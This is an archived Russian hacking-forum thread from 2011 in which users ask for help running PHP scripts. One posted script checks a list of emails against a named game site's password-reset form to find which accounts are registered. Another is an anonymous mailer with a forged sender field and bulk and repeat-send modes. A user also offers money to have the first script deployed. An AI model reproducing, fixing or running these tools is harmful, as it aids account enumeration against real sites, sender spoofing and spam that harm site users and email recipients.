1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

Помощь по скрипту

Тема в разделе "Прочие скрипты", создана пользователем valliko, 12 май 2011.

  1. valliko

    valliko Новичок

    Регистрация:
    12 май 2011
    Сообщения:
    3
    Симпатии:
    0
    Баллы:
    0
    Нужна помощь по отладке и заливке php скрипта.
     
  2. |OFF|AngeL

    |OFF|AngeL Новичок

    Регистрация:
    10 авг 2008
    Сообщения:
    0
    Симпатии:
    96
    Баллы:
    0
    Ясновидящие в отпуске.
    Просьба выясняться конкретней.
     
  3. Beaten_Sect0r

    Beaten_Sect0r Новичок

    Регистрация:
    3 апр 2011
    Сообщения:
    0
    Симпатии:
    0
    Баллы:
    0
    срипт сюды
     
  4. valliko

    valliko Новичок

    Регистрация:
    12 май 2011
    Сообщения:
    3
    Симпатии:
    0
    Баллы:
    0
    <?php
    set_time_limit(0);
    error_reporting(6143);

    #configs

    $siteName="w2. dwar .ru";
    $pageName="send_password.php";
    $formName="form%5Bemail%5D=";

    $sourceName="emails.txt";
    $reggedName="regged.txt";
    $unreggedName="unregged.txt";
    $hzName="hz.txt";

    $reggedStr="Контро";
    $unreggedStr="e-mail не зар";

    $mailCount=0;
    $good=0;
    $bad=0;
    $hz=0;

    //удаляем старые файлы
    @unlink($reggedName);
    @unlink($unreggedName);
    @unlink($hzName);

    echo "<i>Start working...<br>";

    //открываем файл
    $sourceFile=fopen($sourceName,"r");
    if(!$sourceFile)
    {
    echo "Cant find source!";
    die();
    }

    while(!feof($sourceFile))
    {
    $email=fgets($sourceFile,50);
    if (strlen($email)>2)//проверка на то, ч
    {
    $mailCount++;
    //коннектимся
    $connect=fsockopen($siteName,80,$errno,$errstr,15);
    if($connect)
    {
    //меняем все @ на %40
    $emaildat=$formName.str_replace("@","%40",$email);

    //готовим запрос
    $out ="POST /".$pageName." HTTP/1.1\r\n";
    $out.="Host: ".$siteName."\r\n";
    $out.="Referer: http://".$siteName."/".$pageName."\r\n";
    $out.="Connection: Close\r\n";
    $out.="Content-Length: ".strlen($emaildat)."\r\n";
    $out.="Content-Type: application/x-www-form-urlencoded\r\n\r\n";
    $out.=$emaildat;

    //echo $out."<br>";
    $req="";

    //отправляем запрос
    fwrite($connect,$out);
    //получаем ответ
    while (!feof($connect))
    $req.=(fgets($connect, 128));


    //блок проверки ответа. если не зареганое и не реганое-кидаем в хз) иначе если не реганное, то в анрег. иначе в ок
    if (strpos($req,$reggedStr)===false && strpos($req,$unreggedStr)===false)
    {
    $filePer=fopen($hzName,"a+");
    fwrite($filePer,$email."\n");
    $hz++;
    //echo "fuck!";
    }
    else if (strpos($req,$reggedStr)===false)
    {
    $filePer=fopen($unreggedName,"a+");
    fwrite($filePer,$email."\n");
    $bad++;
    //echo "ne ok";
    }
    else
    {
    $filePer=fopen($reggedName,"a+");
    fwrite($filePer,$email."\n");
    $good++;
    //echo "ok!";
    }
    fclose($filePer);
    fclose($connect);
    sleep(1);
    }
    else
    echo "Cant connect<br>";
    }
    }
    //выводим стату
    echo "Total emails: ".$mailCount."<br>";
    echo "Regged accs: ".$good."<br>";
    echo "Unregged accs: ".$bad."<br>";
    echo "Hz accs: ".$hz."<br>";
    echo "Done.</i>";

    ?>

    Добавлено через 2 минуты
    Вот такой скриптик. У меня никак не получается запустить его на хосте. кто может оказать помощь?
     
    Последнее редактирование: 12 май 2011
  5. onthar

    onthar Команда форума Админ

    Регистрация:
    8 янв 2008
    Сообщения:
    0
    Симпатии:
    609
    Баллы:
    0
    valliko,
    а хост пхп поддерживает?
    права на выполнение выставлены?
     
  6. Arsenyi

    Arsenyi Новичок

    Регистрация:
    14 ноя 2010
    Сообщения:
    45
    Симпатии:
    0
    Баллы:
    0
    Подправьте мне пожалуйста скрипт,что то он у меня не отправляет письма,хост использую Holm.ru
    "
    <title>Sender Anonym Email </title>
    <?
    //
    error_reporting (0);
    if(!set_time_limit(0)) {
    $limit = false;
    } else {
    set_time_limit(0);
    ignore_user_abort(1);
    $limit = true;
    }

    $log = 'log.txt'; // Файл лога

    ini_set('max_execution_time', '0');

    ?>
    set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
    echo('<font color=Red>Off</font> (Время работы ограничено текущими настройками сервера)');?><br>
    <?

    $ip = getenv('REMOTE_ADDR');
    if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
    {

    $_POST['to'] = stripslashes($_POST['to']);
    $_POST['msg'] = stripslashes($_POST['msg']);
    $_POST['from'] = stripslashes($_POST['from']);
    $_POST['subject'] = stripslashes($_POST['subject']);

    if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
    {
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
    $headers .= "From: ".$_POST['from']."\n";
    if($_GET['mail'] == '1')
    {
    mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
    }
    elseif($_GET['mail'] == '2')
    {
    $_POST['to'] = explode("\n",$_POST['to']);
    foreach($_POST['to'] as $poluchatels)
    {
    mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
    }
    }
    elseif($_GET['mail'] == '3')
    {
    if(preg_match('/[0-9]+/',$_POST['kol']))
    {
    for($i=0;$i<$_POST['kol'];$i++)
    {
    mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
    sleep(1);
    }
    }
    else
    {
    echo('Неверно введено (или не введено) кол-во сообщений');
    }
    }
    $f = fopen($log,'a');
    fwrite($f,'Отправелено сообщение &'.$_POST['msg'].'& с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
    fclose($f);
    echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
    }
    else
    {
    ?>
    <form style="width:350px" method='post'>
    <?
    if($_GET['mail'] == '1' || $_GET['mail'] == '3')
    {
    echo("Получатель &nbsp;<input type='text'name='to'><br>");
    }
    ?>
    Отправитель <input type='text' name='from'><br>
    Тема сообщ. &nbsp;<input type='text' name='subject'><br>


    <br>
    htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'>&lt;- text<br>

    <br>Сообщение<br>
    <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
    </form>
    <?
    }
    } else {
    ?><br>
    <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить сообщение</a>

    <?
    }
    ?>
    "


    Скрипт для анонимной отправки писем в html и txt
     
  7. valliko

    valliko Новичок

    Регистрация:
    12 май 2011
    Сообщения:
    3
    Симпатии:
    0
    Баллы:
    0
    Кто может отладить и залить скрипт за вознаграждение?
     

Поделиться этой страницей